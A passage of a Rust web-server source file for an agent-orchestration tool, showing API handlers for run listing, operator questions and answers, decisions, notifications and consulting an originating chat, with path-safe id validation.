8140                }
8141                Err(tokio::sync::broadcast::error::RecvError::Lagged(_)) => {
8142                    let revs = {
8143                        let guard = match state.monitor.latest.lock() {
8144                            Ok(g) => g,
8145                            Err(p) => p.into_inner(),
8146                        };
8147                        guard.as_ref().map(|(r, _)| *r)
8148                    };
8149                    if let Some(revs) = revs {
8150                        let payload = serde_json::json!({
8151                            "queue_rev": revs.0,
8152                            "runs_rev": revs.1,
8153                            "questions_rev": revs.2,
8154                            "talks_rev": revs.3,
8155                            "notifications_rev": revs.4,
8156                            "loop_rev": revs.5,
8157                        });
8158                        if let Ok(event) = Event::default().event("change").json_data(payload) {
8159                            if tx.send(event).await.is_err() {
8160                                break;
8161                            }
8162                        }
8163                    }
8164                }
8165                Err(tokio::sync::broadcast::error::RecvError::Closed) => {
8166                    break;
8167                }
8168            }
8169        }
8170    });
8171
8172    Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
8173        .keep_alive(KeepAlive::new().interval(KEEPALIVE))
8174}
8175
8176/// Run ids under `runs`, newest first.
8177///
8178/// Rooted at an explicit directory rather than calling [`run::list_ids`],
8179/// which reads the process-global home: the server has to be drivable against
8180/// a temp directory for any of this to be testable.
8181fn run_ids(runs: &FsPath) -> Vec<String> {
8182    let mut ids: Vec<String> = std::fs::read_dir(runs)
8183        .into_iter()
8184        .flatten()
8185        .flatten()
8186        .filter(|e| e.path().join("run.json").is_file())
8187        .map(|e| e.file_name().to_string_lossy().into_owned())
8188        .collect();
8189    // Ids start with a sortable timestamp.
8190    ids.sort_unstable_by(|a, b| b.cmp(a));
8191    ids
8192}
8193
8194/// Read one run's state from an explicit runs root.
8195fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
8196    let path = runs.join(id).join("run.json");
8197    let body =
8198        std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
8199    let state: RunState =
8200        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
8201    // The same migration `RunState::load` applies, so a record from the
8202    // previous schema reads here as it does everywhere else (an origin-less
8203    // run shows as "origin unknown") instead of vanishing from the phone the
8204    // moment the schema is bumped.
8205    run::migrate_schema(state)
8206}
8207
8208/// Runs on disk under `runs` whose state this build cannot parse - almost
8209/// always a schema bump, occasionally a run killed mid-write.
8210///
8211/// Exposed so every surface that reports on runs shares one count instead of
8212/// each re-deriving it: `/api/health` reports it as `runs_unreadable`, and
8213/// `magi doctor` calls this directly rather than guessing at the same number
8214/// a second way.
8215#[must_use]
8216pub fn runs_unreadable(runs: &FsPath) -> usize {
8217    run_ids(runs)
8218        .into_iter()
8219        .filter(|id| read_run(runs, id).is_err())
8220        .count()
8221}
8222
8223fn plain_record_id(id: &str) -> bool {
8224    !id.is_empty() && id != "." && id != ".." && !id.contains(['/', '\\'])
8225}
8226
8227/// Expand an id or short id to exactly one run id.
8228fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
8229    if plain_record_id(id) && runs.join(id).join("run.json").is_file() {
8230        return Ok(id.to_owned());
8231    }
8232    pick(run_ids(runs), id, "run")
8233}
8234
8235/// Expand an id or short id to exactly one task id.
8236fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
8237    if plain_record_id(id) && queue.path_of(id).is_file() {
8238        return Ok(id.to_owned());
8239    }
8240    let ids = crate::queue::record_ids(queue.root(), "json").unwrap_or_default();
8241    pick(ids, id, "task")
8242}
8243
8244/// A question as the phone reads it.
8245///
8246/// `detail`, the reasoning an agent wrote, is markdown; `detail_md` is that
8247/// text already parsed into a node tree so the client never runs its own
8248/// markdown reader over agent-authored prose. A relative image path in it
8249/// resolves against this question's own panel asset route, which is the one
8250/// place [`md::ImageBase::QuestionPanel`] is used - the panel iframe is a
8251/// separate, sandboxed document, but `detail` is rendered inline in the
8252/// operator's own page, so an image reference in it may only ever point at
8253/// files magi itself already serves for this question.
8254#[derive(Debug, Serialize)]
8255struct QuestionView {
8256    can_answer: bool,
8257    /// Imported consent remains history even while its effect is uncertain.
8258    history_only: bool,
8259    choice_effects: std::collections::BTreeMap<String, String>,
8260    record_revision: String,
8261    #[serde(flatten)]
8262    question: Question,
8263    detail_md: Vec<md::Node>,
8264    posting_view: Option<PostingView>,
8265    /// Each thread turn's body, parsed; same order as `question.thread`.
8266    thread_bodies_md: Vec<Vec<md::Node>>,
8267    /// Each thread turn's deputy note, parsed (`None` for a turn without
8268    /// one); same order as `question.thread`.
8269    thread_notes_md: Vec<Option<Vec<md::Node>>>,
8270    /// Is the ball in the agent's court right now?
8271    ///
8272    /// [`QuestionStatus`] stays `Open` for the whole of a round trip - see
8273    /// [`Question::say`] - so this is the one field that tells the phone to
8274    /// disable the answer controls and show "waiting for the agent" instead of
8275    /// a card the owner can act on. Computed rather than stored on
8276    /// [`Question`] itself, on the same reasoning as `waiting` on
8277    /// [`RunSummary`]: it is a read of `thread`'s own last entry, and keeping
8278    /// it here means the client never has to re-derive that rule.
8279    waiting_on_agent: bool,
8280    /// Who is waiting on this open question - see [`holder_of`]. Separate
8281    /// from `waiting_on_agent`, which is whose *turn* it is, not whether
8282    /// anyone is there to take it.
8283    holder: Option<&'static str>,
8284    /// Whether `magi serve` can start a follow-up agent for a conductor
8285    /// question at all: false when `daemon.max_deputies = 0` or the config is
8286    /// unreadable. Separate from `holder`, which says who is listening now.
8287    deputies_enabled: bool,
8288    /// All starts were spent and no live holder remains. Display-only: the
8289    /// final attempt increments `starts` before running under its lease.
8290    deputy_exhausted: bool,
8291    text_delivery: crate::question_delivery::Availability,
8292    /// `question.run` is a task id (conductor / triage questions), not a run
8293    /// id, so the UI links it to the task page.
8294    run_is_task: bool,
8295    /// The existing chat this question's task came from, including settled
8296    /// questions - see [`crate::consult::associated_talk`].
8297    origin_chat: Option<String>,
8298    /// `origin_chat` is closed; consulting reopens it first.
8299    origin_chat_closed: bool,
8300    /// Consultation eligibility is separate from navigation to the chat.
8301    can_consult_chat: bool,
8302}
8303
8304#[derive(Debug, Serialize)]
8305struct PostingView {
8306    before_md: Vec<md::Node>,
8307    after_md: Vec<md::Node>,
8308    fields: Vec<crate::github_text::ComparisonView>,
8309}
8310
8311fn posting_view(question: &Question, base: &md::ImageBase) -> Option<PostingView> {
8312    let comparison = question.posting_comparison.as_ref()?;
8313    if !comparison.matches_detail(&question.detail) {
8314        return None;
8315    }
8316    let mut ids = std::collections::BTreeSet::new();
8317    if comparison.fields.is_empty()
8318        || comparison
8319            .fields
8320            .iter()
8321            .flat_map(|f| &f.pairs)
8322            .any(|p| !ids.insert(p.id))
8323        || comparison
8324            .fields
8325            .iter()
8326            .flat_map(|f| &f.original_triggers)
8327            .any(|t| !ids.insert(t.id))
8328    {
8329        return None;
8330    }
8331    let fields = comparison
8332        .fields
8333        .iter()
8334        .map(|f| f.view(comparison.excerpt))
8335        .collect::<Option<Vec<_>>>()?;
8336    Some(PostingView {
8337        before_md: md::to_nodes(question.detail.get(..comparison.start)?, base),
8338        after_md: md::to_nodes(question.detail.get(comparison.end..)?, base),
8339        fields,
8340    })
8341}
8342
8343impl QuestionView {
8344    /// The view of `question`, reading who is waiting on it from `store`.
8345    ///
8346    /// `holder` needs the lease sidecar, which is why this is not a `From`.
8347    fn of(question: Question, store: &ask::Questions, cfg: Option<&Config>) -> Self {
8348        let base = md::ImageBase::QuestionPanel {
8349            id: question.id.clone(),
8350        };
8351        let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
8352        Self {
8353            can_answer: question.can_answer(),
8354            history_only: store.held_reply(&question.id),
8355            choice_effects: question
8356                .choices
8357                .iter()
8358                .filter_map(|c| {
8359                    crate::choice_effect::describe(&question, c).map(|effect| (c.clone(), effect))
8360                })
8361                .collect(),
8362            record_revision: question_record_revision(&question),
8363            detail_md: md::to_nodes(&question.detail, &base),
8364            posting_view: posting_view(&question, &base),
8365            thread_bodies_md: question
8366                .thread
8367                .iter()
8368                .map(|t| md::to_nodes(&t.body, &base))
8369                .collect(),
8370            thread_notes_md: question
8371                .thread
8372                .iter()
8373                .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
8374                .collect(),
8375            deputy_exhausted: store.deputy_exhausted(&question),
8376            waiting_on_agent: question.waiting_on_agent(),
8377            holder,
8378            deputies_enabled: deputies_enabled(cfg, &question),
8379            text_delivery: crate::question_delivery::availability(store, &question, cfg),
8380            run_is_task: question.run_names_task(),
8381            origin_chat: None,
8382            origin_chat_closed: false,
8383            can_consult_chat: false,
8384            question,
8385        }
8386    }
8387
8388    /// Fill `origin_chat` from the queue and the talks.
8389    fn with_origin(
8390        mut self,
8391        tasks: &[crate::queue::Task],
8392        talks: &[Talk],
8393        watches: &[crate::release_watch::WatchState],
8394    ) -> Self {
8395        let consult = crate::consult::origin_talk(tasks, talks, &self.question);
8396        self.can_consult_chat = consult.is_some();
8397        let talk =
8398            crate::consult::associated_talk_with_watches(tasks, talks, &self.question, watches);
8399        self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
8400        self.origin_chat = talk.map(|t| t.id);
8401        self
8402    }
8403}
8404
8405/// The config this repository resolves, or `None` when it cannot be read.
8406/// Discovering is git processes plus a config render, so a request that needs
8407/// it for many items takes it once and passes it down.
8408fn deputy_config(repo: &std::path::Path) -> Option<Config> {
8409    Config::discover(repo, None).ok().map(|(c, _)| c)
8410}
8411
8412/// Can `magi serve` start a deputy for this question under `cfg`?
8413fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
8414    crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
8415}
8416
8417/// The views `GET /api/questions` answers. `load` runs at most once, however
8418/// many questions there are, and not at all when there are none.
8419fn question_views(
8420    qs: Vec<Question>,
8421    store: &ask::Questions,
8422    load: impl FnOnce() -> Option<Config>,
8423) -> Vec<QuestionView> {
8424    if qs.is_empty() {
8425        return Vec::new();
8426    }
8427    let cfg = load();
8428    qs.into_iter()
8429        .map(|q| QuestionView::of(q, store, cfg.as_ref()))
8430        .collect()
8431}
8432
8433/// Who is honestly waiting on an open question right now: `"asker"` (the
8434/// agent's own `magi ask`), `"deputy"` (the follow-up seat `magi serve` runs
8435/// for a conductor question), `"daemon"` (`magi serve` resuming the asking
8436/// seat's session), or `"nobody"` - the asker is gone and nothing has picked it
8437/// up, or the question never had anyone listening (a conductor question or a
8438/// merge approval from before deputies, or not yet given one).
8439///
8440/// `None` for a question that is settled, and for one that is not an agent's
8441/// to wait on at all (a release notice).
8442fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
8443    if !q.status.open() {
8444        return None;
8445    }
8446    if q.cwd.is_none()
8447        && q.deputy.is_none()
8448        && lease.is_none_or(|l| !l.fresh(jiff::Timestamp::now()))
8449    {
8450        return crate::deputy::kind_of(q).map(|_| "nobody");
8451    }
8452    Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
8453        Some(_) if q.deputy.is_some() => "deputy",
8454        Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
8455        Some(_) => "asker",
8456        None => "nobody",
8457    })
8458}
8459
8460/// `GET /api/questions`.
8461///
8462/// Everything, not just the open ones: an answered question is the record of a
8463/// decision, and the phone is where the operator goes back to check what they
8464/// told an agent at 3am. `ask::Questions::list` already ranks open first.
8465#[derive(serde::Serialize)]
8466struct DecisionView {
8467    id: String,
8468    task: String,
8469    run: Option<String>,
8470    chat: Option<String>,
8471    display: String,
8472    delivery_error: Option<String>,
8473    decision: crate::task_decision::Decision,
8474    attention: crate::task_decision::Attention,
8475    next_step: &'static str,
8476    last_observation: Option<String>,
8477}
8478
8479impl DecisionView {
8480    fn from_inquiry(inquiry: crate::task_inquiry::Inquiry) -> Option<Self> {
8481        let attention = inquiry.attention()?;
8482        let last_observation = inquiry
8483            .decision
8484            .as_ref()?
8485            .last_observation
8486            .as_ref()
8487            .map(|o| o.describe());
8488        Some(Self {
8489            id: inquiry.id,
8490            task: inquiry.task,
8491            run: inquiry.run,
8492            chat: inquiry.delivered_to,
8493            display: inquiry.display,
8494            delivery_error: inquiry.delivery_error,
8495            decision: inquiry.decision?,
8496            attention,
8497            next_step: match attention {
8498                crate::task_decision::Attention::OwnerChoice => {
8499                    "Discuss the choice in the owning chat."
8500                }
8501                crate::task_decision::Attention::ReceiptCheck => {
8502                    "Check durable receipts before retrying; do not replay the request."
8503                }
8504                crate::task_decision::Attention::InFlight => {
8505                    "Wait for the effect or execution-start receipt."
8506                }
8507                crate::task_decision::Attention::ReleaseFollowup => {
8508                    "Inspect the remaining release work independently of the original merge."
8509                }
8510                crate::task_decision::Attention::StaleTarget => {
8511                    "Inspect the changed or closed target; do not approve an old head."
8512                }
8513                crate::task_decision::Attention::Resolved => {
8514                    "Inspect the recorded closure reason in history."
8515                }
8516            },
8517            last_observation,
8518        })
8519    }
8520}
8521
8522#[derive(serde::Serialize)]
8523struct DecisionsView {
8524    items: Vec<DecisionView>,
8525    unreadable: usize,
8526    migration_errors: Vec<crate::task_chat::MigrationIssue>,
8527}
8528
8529// Read-only: list visits and inquiry links never create owner decisions,
8530// delivery receipts or effect acknowledgements.
8531async fn decisions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<DecisionsView>> {
8532    blocking(move || {
8533        let (items, unreadable) = crate::task_inquiry::Outbox::at(&ui.home).list_readable()?;
8534        let mut views: Vec<_> = items
8535            .into_iter()
8536            .filter_map(DecisionView::from_inquiry)
8537            .collect();
8538        views.sort_by_key(|view| {
8539            (
8540                view.decision.status == crate::task_decision::Status::Resolved,
8541                view.id.clone(),
8542            )
8543        });
8544        Ok(Json(DecisionsView {
8545            items: views,
8546            unreadable,
8547            migration_errors: crate::task_chat::migration_issues(&ui.home),
8548        }))
8549    })
8550    .await
8551}
8552
8553async fn decision_get(
8554    State(ui): State<Arc<Ui>>,
8555    Path(id): Path<String>,
8556) -> ApiResult<Json<DecisionView>> {
8557    blocking(move || {
8558        let inquiry = crate::task_inquiry::Outbox::at(&ui.home).get(&id)?;
8559        DecisionView::from_inquiry(inquiry)
8560            .map(Json)
8561            .ok_or_else(|| ApiError::not_found("inquiry is informational"))
8562    })
8563    .await
8564}
8565
8566async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
8567    blocking(move || {
8568        let questions = ui.questions.list();
8569        let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
8570        Ok(Json(
8571            question_views(questions, &ui.questions, || deputy_config(&ui.repo))
8572                .into_iter()
8573                .map(|view| view.with_origin(&tasks, &talks, &watches))
8574                .collect(),
8575        ))
8576    })
8577    .await
8578}
8579
8580/// Question content and answer controls never wait for task/chat provenance.
8581async fn questions_core(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
8582    blocking(move || {
8583        Ok(Json(question_views(
8584            ui.questions.list(),
8585            &ui.questions,
8586            || deputy_config(&ui.repo),
8587        )))
8588    })
8589    .await
8590}
8591
8592fn question_record_revision(question: &Question) -> String {
8593    use std::hash::{Hash as _, Hasher as _};
8594    let mut hash = std::hash::DefaultHasher::new();
8595    serde_json::to_vec(question)
8596        .expect("serializable question")
8597        .hash(&mut hash);
8598    format!("{:016x}", hash.finish())
8599}
8600
8601#[derive(Serialize)]
8602struct QuestionOriginView {
8603    id: String,
8604    record_revision: String,
8605    origin_chat: Option<String>,
8606    origin_chat_closed: bool,
8607    can_consult_chat: bool,
8608}
8609
8610async fn question_origins(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionOriginView>>> {
8611    blocking(move || {
8612        let questions = ui.questions.list();
8613        let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
8614        Ok(Json(
8615            questions
8616                .into_iter()
8617                .map(|question| {
8618                    let consult = crate::consult::origin_talk(&tasks, &talks, &question);
8619                    let can_consult_chat = consult.is_some();
8620                    let talk = crate::consult::associated_talk_with_watches(
8621                        &tasks, &talks, &question, &watches,
8622                    );
8623                    QuestionOriginView {
8624                        record_revision: question_record_revision(&question),
8625                        id: question.id,
8626                        origin_chat_closed: talk.as_ref().is_some_and(|talk| !talk.status.open()),
8627                        origin_chat: talk.map(|talk| talk.id),
8628                        can_consult_chat,
8629                    }
8630                })
8631                .collect(),
8632        ))
8633    })
8634    .await
8635}
8636
8637type QuestionOriginInputs = (Vec<Task>, Vec<Talk>, Vec<crate::release_watch::WatchState>);
8638
8639/// Only the task ancestry and chats these questions actually reference. Run
8640/// mappings share the reconciled queue index; exact task references bypass it.
8641/// No question means no task/chat I/O, including no index reconciliation.
8642fn question_origin_inputs(ui: &Ui, questions: &[Question]) -> ApiResult<QuestionOriginInputs> {
8643    fn task_for_run(
8644        ui: &Ui,
8645        index: &mut Option<Vec<Arc<TaskRelation>>>,
8646        run: &str,
8647        loaded: &HashMap<String, Task>,
8648    ) -> ApiResult<Option<Task>> {
8649        if !plain_record_id(run) {
8650            return Ok(None);
8651        }
8652        if index.is_none() {
8653            *index = Some(ui.indexed_tasks()?);
8654        }
8655        Ok(index
8656            .as_ref()
8657            .expect("loaded index")
8658            .iter()
8659            .find(|task| task.runs.iter().any(|id| id == run))
8660            .and_then(|task| {
8661                loaded
8662                    .get(&task.id)
8663                    .cloned()
8664                    .or_else(|| ui.queue.get(&task.id).ok())
8665            })
8666            .filter(|task| task.runs.iter().any(|id| id == run)))
8667    }
8668    let direct_task = |id: &str, loaded: &HashMap<String, Task>| {
8669        plain_record_id(id)
8670            .then(|| loaded.get(id).cloned().or_else(|| ui.queue.get(id).ok()))
8671            .flatten()
8672            .filter(|task| task.id == id)
8673    };
8674    let watches = crate::release_watch::states_for_questions(&ui.home, questions);
8675    let mut index = None;
8676    let mut tasks = HashMap::new();
8677    let mut talks = HashMap::new();
8678    for question in questions {
8679        for reference in crate::consult::question_task_refs(question, &watches) {
8680            let mut current = match reference {
8681                crate::consult::QuestionTaskRef::Task(id) => direct_task(id, &tasks),
8682                crate::consult::QuestionTaskRef::Run(id) => {
8683                    task_for_run(ui, &mut index, id, &tasks)?
8684                }
8685            };
8686            let mut seen = HashSet::new();
8687            for _ in 0..=crate::followup::MAX_FOLLOWUP_GENERATION {
8688                let Some(task) = current.take() else {
8689                    break;
8690                };
8691                if !seen.insert(task.id.clone()) {
8692                    break;
8693                }
8694                let chat = task.chat_talk().map(str::to_owned);
8695                let followup = task.followup.clone();
8696                tasks.insert(task.id.clone(), task);
8697                if let Some(chat) = chat {
8698                    if plain_record_id(&chat)
8699                        && !talks.contains_key(&chat)
8700                        && let Ok(talk) = ui.talks.get(&chat)
8701                    {
8702                        talks.insert(chat, talk);
8703                    }
8704                    break;
8705                }
8706                let Some(followup) = followup else {
8707                    break;
8708                };
8709                current = match followup.origin_task {
8710                    Some(id) => direct_task(&id, &tasks),
8711                    None => task_for_run(ui, &mut index, &followup.run, &tasks)?,
8712                };
8713            }
8714        }
8715    }
8716    let mut tasks: Vec<Task> = tasks.into_values().collect();
8717    tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
8718    Ok((tasks, talks.into_values().collect(), watches))
8719}
8720
8721/// `GET /api/notifications`: not dismissed, newest first, with the unread
8722/// count so the badge and the list cannot disagree.
8723async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
8724    blocking(move || {
8725        let items = ui.notices.list();
8726        let unread = items.iter().filter(|n| n.unread()).count();
8727        let items: Vec<_> = items
8728            .into_iter()
8729            .map(|n| {
8730                let question = crate::notices::answerable_question(&n, &ui.questions);
8731                let mut item = serde_json::to_value(n)?;
8732                item["answerable_question"] = serde_json::json!(question);
8733                Ok(item)
8734            })
8735            .collect::<anyhow::Result<_>>()?;
8736        Ok(Json(
8737            serde_json::json!({ "unread": unread, "items": items }),
8738        ))
8739    })
8740    .await
8741}
8742
8743fn notice_error(e: anyhow::Error) -> ApiError {
8744    // An unknown or malformed id and a vanished file are the same answer to
8745    // the phone: that notification is gone.
8746    ApiError::not_found(format!("{e:#}"))
8747}
8748
8749/// `POST /api/notifications/{id}/read`.
8750async fn notification_read(
8751    State(ui): State<Arc<Ui>>,
8752    Path(id): Path<String>,
8753) -> ApiResult<Json<Notice>> {
8754    blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
8755}
8756
8757/// `POST /api/notifications/{id}/dismiss`.
8758async fn notification_dismiss(
8759    State(ui): State<Arc<Ui>>,
8760    Path(id): Path<String>,
8761) -> ApiResult<Json<Notice>> {
8762    blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
8763}
8764
8765/// `POST /api/notifications/read-all`.
8766async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
8767    blocking(move || {
8768        let changed = ui.notices.mark_all_read()?;
8769        Ok(Json(serde_json::json!({ "marked": changed })))
8770    })
8771    .await
8772}
8773
8774/// The body of `POST /api/questions/{id}/answer`.
8775///
8776/// Exactly one of the two fields, mirroring `ask::Answer`. Both or neither is
8777/// a bad request rather than a guess: an answer magi invented is worse than a
8778/// question left open.
8779#[derive(Debug, Default, Deserialize)]
8780#[serde(default, deny_unknown_fields)]
8781struct NewAnswer {
8782    choice: Option<String>,
8783    text: Option<String>,
8784    talk: Option<String>,
8785    head: Option<String>,
8786}
8787
8788async fn question_answer(
8789    State(ui): State<Arc<Ui>>,
8790    Path(id): Path<String>,
8791    body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
8792) -> ApiResult<Json<QuestionView>> {
8793    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8794    let answer = match (body.choice, body.text) {
8795        (Some(c), None) => Answer::Choice(c),
8796        (None, Some(t)) => Answer::Text(t),
8797        (Some(_), Some(_)) => {
8798            return Err(ApiError::bad_request(
8799                "send either `choice` or `text`, not both",
8800            ));
8801        }
8802        (None, None) => {
8803            return Err(ApiError::bad_request("send a `choice` or a `text`"));
8804        }
8805    };
8806
8807    blocking(move || {
8808        let id = resolve_question(&ui.questions, &id)?;
8809        let q = ui
8810            .questions
8811            .get(&id)
8812            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
8813        if !q.can_answer() {
8814            // Answered from the terminal, or by another phone, in between the
8815            // list and the tap. The UI shows the recorded answer rather than an
8816            // error, so it needs the record, not just the status.
8817            return Err(ApiError::conflict(format!(
8818                "question {} is already {}",
8819                q.short(),
8820                q.status.as_str()
8821            )));
8822        }
8823        // `Question::answer` owns the rules - an unoffered choice, free text on
8824        // a multiple-choice question, an empty reply - so the route does not
8825        // restate them and cannot drift from the CLI's behaviour.
8826        let cfg = deputy_config(&ui.repo);
8827        let (q, ()) = ui
8828            .questions
8829            .update(&q.id, |r| {
8830                let merge = matches!(&answer, ask::Answer::Choice(c) if c == crate::land::APPROVE);
8831                // Buttons retain their displayed chat/head binding. A direct
8832                // decision does not require a button or a prior persona offer.
8833                if r.routed_task.is_some()
8834                    && r.merge_target.is_some()
8835                    && merge
8836                    && (body.talk.is_some() || body.head.is_some())
8837                {
8838                    let talk_id = body
8839                        .talk
8840                        .as_deref()
8841                        .context("approval button requires its chat")?;
8842                    let head = body
8843                        .head
8844                        .as_deref()
8845                        .context("approval button requires the displayed head")?;
8846                    let talk = ui.talks.get(talk_id)?;
8847                    anyhow::ensure!(talk.status.open(), "approval chat is closed");
8848                    r.answer_chat_button(answer, talk_id, head)
8849                } else {
8850                    r.answer(answer)
8851                }
8852            })
8853            .map_err(ApiError::bad_request_from)?;
8854        let (tasks, talks, watches) =
8855            question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
8856        Ok(Json(
8857            QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
8858        ))
8859    })
8860    .await
8861}
8862
8863/// A dedicated status avoids the client's settled-question 409 handling.
8864fn question_text_error(e: anyhow::Error) -> ApiError {
8865    let reason = e
8866        .downcast_ref::<crate::question_delivery::TextUnavailable>()
8867        .map(|e| e.reason);
8868    let error = ApiError::bad_request_from(e);
8869    if let Some(reason) = reason {
8870        ApiError {
8871            text_reason: Some(reason),
8872            ..error.with_status(StatusCode::UNPROCESSABLE_ENTITY)
8873        }
8874    } else {
8875        error
8876    }
8877}
8878
8879/// The body of `POST /api/questions/{id}/say`.
8880#[derive(Debug, Deserialize)]
8881#[serde(deny_unknown_fields)]
8882struct NewSay {
8883    body: String,
8884}
8885
8886/// `POST /api/questions/{id}/say` - the owner talks back without deciding.
8887///
8888/// Synchronous, unlike `POST /api/talks/{id}/say`: that route spawns an agent
8889/// CLI and waits on it, this one only appends a [`ask::Turn`] and writes the
8890/// file, so there is no turn to serialize against and no
8891/// [`Ui::begin_talk_turn`] guard to take. The agent waiting on this question
8892/// is a *different* process - the run parked behind `magi ask` - and picks
8893/// the reply up on its own poll of the very same file, same as an answer
8894/// does.
8895async fn question_say(
8896    State(ui): State<Arc<Ui>>,
8897    Path(id): Path<String>,
8898    body: std::result::Result<Json<NewSay>, JsonRejection>,
8899) -> ApiResult<Json<QuestionView>> {
8900    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8901    blocking(move || {
8902        let id = resolve_question(&ui.questions, &id)?;
8903        let q = ui
8904            .questions
8905            .get(&id)
8906            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
8907        if !q.status.open() {
8908            // Same granularity as `question_answer`: answered or abandoned in
8909            // between the list and the tap is not this route's error to
8910            // explain any differently.
8911            return Err(ApiError::conflict(format!(
8912                "question {} is already {}",
8913                q.short(),
8914                q.status.as_str()
8915            )));
8916        }
8917        // `Question::say` owns the one rule that matters here - an empty
8918        // message tells the agent nothing - so the route does not restate it.
8919        let cfg = deputy_config(&ui.repo);
8920        let (q, ()) = ui
8921            .questions
8922            .update(&q.id, |r| {
8923                if body.body.trim().is_empty() {
8924                    return r.say(body.body);
8925                }
8926                crate::question_delivery::require(&ui.questions, r, cfg.as_ref())?;
8927                r.say(body.body)
8928            })
8929            .map_err(question_text_error)?;
8930        let (tasks, talks, watches) =
8931            question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
8932        Ok(Json(
8933            QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
8934        ))
8935    })
8936    .await
8937}
8938
8939/// A disconnected request or a replacing listener cannot interrupt the short
8940/// transaction between persistence and detached worker publication.
8941async fn admitted<T: Send + 'static>(
8942    admission: AdmissionGuard,
8943    work: impl Future<Output = ApiResult<T>> + Send + 'static,
8944) -> ApiResult<T> {
8945    tokio::spawn(async move {
8946        let result = work.await;
8947        drop(admission);
8948        result
8949    })
8950    .await
8951    .map_err(|error| ApiError::internal(format!("work admission failed: {error}")))?
8952}
8953
8954/// `POST /api/questions/{id}/consult` - hand the question to the chat its task
8955/// came from. The question stays open: the chat agent answers it with `magi
8956/// answer`, or puts the decision to the owner in the conversation.
8957///
8958/// Answers 202 and runs the turn in the background, like every route that
8959/// spends agent calls. The text is queued as a draft of the existing talk, and
8960/// the turn goes through the talk's own gate and session; no seat or waiter is
8961/// started here.
8962async fn question_consult(
8963    State(ui): State<Arc<Ui>>,
8964    Path(id): Path<String>,
8965) -> ApiResult<(StatusCode, Json<QuestionView>)> {
8966    let admission = ui.begin_admission()?;
8967    admitted(admission, async move {
8968        let (q, tasks, talks, watches, talk, cfg) = blocking({
8969            let ui = Arc::clone(&ui);
8970            move || {
8971                let id = resolve_question(&ui.questions, &id)?;
8972                let q = ui.questions.get(&id).map_err(|e| {
8973                    ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR)
8974                })?;
8975                if !q.status.open() {
8976                    return Err(ApiError::conflict(format!(
8977                        "question {} is already {}",
8978                        q.short(),
8979                        q.status.as_str()
8980                    )));
8981                }
8982                let (tasks, talks, watches) =
8983                    question_origin_inputs(&ui, std::slice::from_ref(&q))?;
8984                let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
8985                    return Err(ApiError::conflict(format!(
8986                        "question {} has no chat to ask",
8987                        q.short()
8988                    )));
8989                };
8990                // Read the config before `begin` saves anything: a failure here
8991                // must leave no consult record or draft behind, or a retry would
8992                // see `fresh == false` and never start the turn.
8993                let cfg = if q.consult.is_none() {
8994                    Some(talk.config()?)
8995                } else {
8996                    None
8997                };
8998                Ok((q, tasks, talks, watches, talk, cfg))
8999            }
9000        })
9001        .await?;
9002        let _publication = crate::chat_worker::publication_guard(&ui.talks, &talk.id)
9003            .await
9004            .map_err(ApiError::from)?;
9005        let (view, reclaimed, submitted) = blocking({
9006            let ui = Arc::clone(&ui);
9007            move || {
9008                let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
9009                let claim = if fresh {
9010                    match ui.begin_queued_talk_turn(&talk.id)? {
9011                        Some(turn_guard) => {
9012                            let talk = ui.talks.get(&talk.id)?;
9013                            let cfg = match cfg {
9014                                Some(cfg) => cfg,
9015                                None => talk.config()?,
9016                            };
9017                            Some((talk, cfg, turn_guard))
9018                        }
9019                        None => None,
9020                    }
9021                } else {
9022                    None
9023                };
9024                let q = ui.questions.get(&q.id)?;
9025                let cfg = deputy_config(&ui.repo);
9026                let view = QuestionView::of(q, &ui.questions, cfg.as_ref())
9027                    .with_origin(&tasks, &talks, &watches);
9028                Ok((view, claim, fresh.then_some(talk.id)))
9029            }
9030        })
9031        .await?;
9032        #[cfg(not(test))]
9033        {
9034            if let Some(id) = submitted {
9035                crate::chat_worker::spawn_turn(&ui.talks, &id)
9036                    .await
9037                    .map_err(ApiError::from)?;
9038            }
9039            drop(reclaimed);
9040        }
9041        #[cfg(test)]
9042        let _ = submitted;
9043        #[cfg(test)]
